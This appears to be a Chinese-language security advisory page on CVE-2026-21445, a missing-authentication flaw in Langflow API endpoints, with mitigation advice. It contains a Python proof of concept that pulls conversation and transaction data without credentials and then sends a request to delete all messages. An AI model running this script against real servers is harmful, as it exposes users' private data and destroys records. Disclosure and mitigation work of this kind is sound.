IPBUF安全漏洞报告
English
CVE-2026-21445 CVSS 9.1 严重

CVE-2026-21445: Langflow 1.7.0.dev45之前版本存在关键API身份验证缺失漏洞

披露日期: 2026-01-02

漏洞信息

漏洞编号
CVE-2026-21445
漏洞类型
缺失身份验证
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Langflow

相关标签

缺失身份验证API安全Langflow未授权访问CWE-306OWASP-API1CVSS 9.1关键漏洞

漏洞概述

Langflow是一个用于构建和部署AI驱动代理和工作流程的工具。在1.7.0.dev45之前的版本中,Langflow的多个关键API端点缺少身份验证控制。该漏洞允许任何未经身份验证的用户访问敏感的用户对话数据、交易历史记录,并执行破坏性操作(包括消息删除)。这影响到处理个人数据和系统操作的端点,而这些操作本应需要适当的授权。攻击者可利用此漏洞在无需任何凭证的情况下,直接通过HTTP请求访问受保护的API端点,获取大量用户隐私数据或执行危险操作,对系统机密性、完整性和业务安全造成严重影响。

技术细节

该漏洞的根本原因在于Langflow 1.7.0.dev45之前版本中的API端点未实施适当的身份验证机制。攻击者可以直接向以下类型的端点发送HTTP请求:1) 用户对话数据查询端点,无需会话令牌即可获取历史对话记录;2) 交易历史访问端点,可查看用户操作日志和业务数据;3) 消息删除功能端点,可执行未授权的数据销毁操作。由于CVSS向量显示攻击复杂度低(AC:L)且无需权限(PR:N),任何能够访问网络的用户均可利用此漏洞。攻击者可通过简单的curl命令或脚本批量抓取用户数据,或对特定用户的消息执行删除操作。攻击成功后,攻击者获得用户隐私信息的完整访问权限,并可破坏系统数据的完整性。

攻击链分析

STEP 1
步骤1
攻击者识别目标Langflow服务器,确认版本低于1.7.0.dev45
STEP 2
步骤2
攻击者构造HTTP请求,直接访问存在身份验证缺失的API端点
STEP 3
步骤3
由于端点未实施身份验证,攻击者无需任何凭证即可通过请求
STEP 4
步骤4
攻击者获取用户对话数据、交易历史等敏感信息,造成机密性损害
STEP 5
步骤5
攻击者进一步利用消息删除等破坏性API,对系统数据执行完整性破坏操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json target = "http://target-langflow-server:3000" cve_id = "CVE-2026-21445" # Endpoints vulnerable to missing authentication endpoints = [ "/api/v1/conversations", # User conversation data "/api/v1/transactions", # Transaction histories "/api/v1/messages", # Message data "/api/v1/flows", # Flow configurations ] print(f"[*] POC for {cve_id} - Missing Authentication in Langflow") print(f"[*] Target: {target}\n") for endpoint in endpoints: url = target + endpoint print(f"[+] Testing endpoint: {url}") try: # No authentication required - direct access response = requests.get(url, timeout=10) if response.status_code == 200: data = response.json() print(f" [SUCCESS] Retrieved data from {endpoint}") print(f" Data preview: {json.dumps(data, indent=2)[:500]}...") elif response.status_code == 401: print(f" [PROTECTED] Endpoint requires authentication") else: print(f" [INFO] Status code: {response.status_code}") except Exception as e: print(f" [ERROR] {str(e)}") # Destructive operation - message deletion (no auth required) delete_url = target + "/api/v1/messages/delete" payload = {"message_ids": ["all"]} print(f"\n[+] Testing destructive operation: {delete_url}") try: response = requests.post(delete_url, json=payload, timeout=10) print(f" Status: {response.status_code}") except Exception as e: print(f" [ERROR] {str(e)}")

影响范围

Langflow < 1.7.0.dev45

防御指南

临时缓解措施
立即将Langflow升级至1.7.0.dev45或最新稳定版本以修复身份验证缺失问题。在无法立即升级的情况下,可通过配置反向代理(如Nginx)添加HTTP Basic Auth或API Key认证层,对所有API端点实施临时访问控制,同时限制API端点的网络暴露范围,仅允许受信任的IP访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表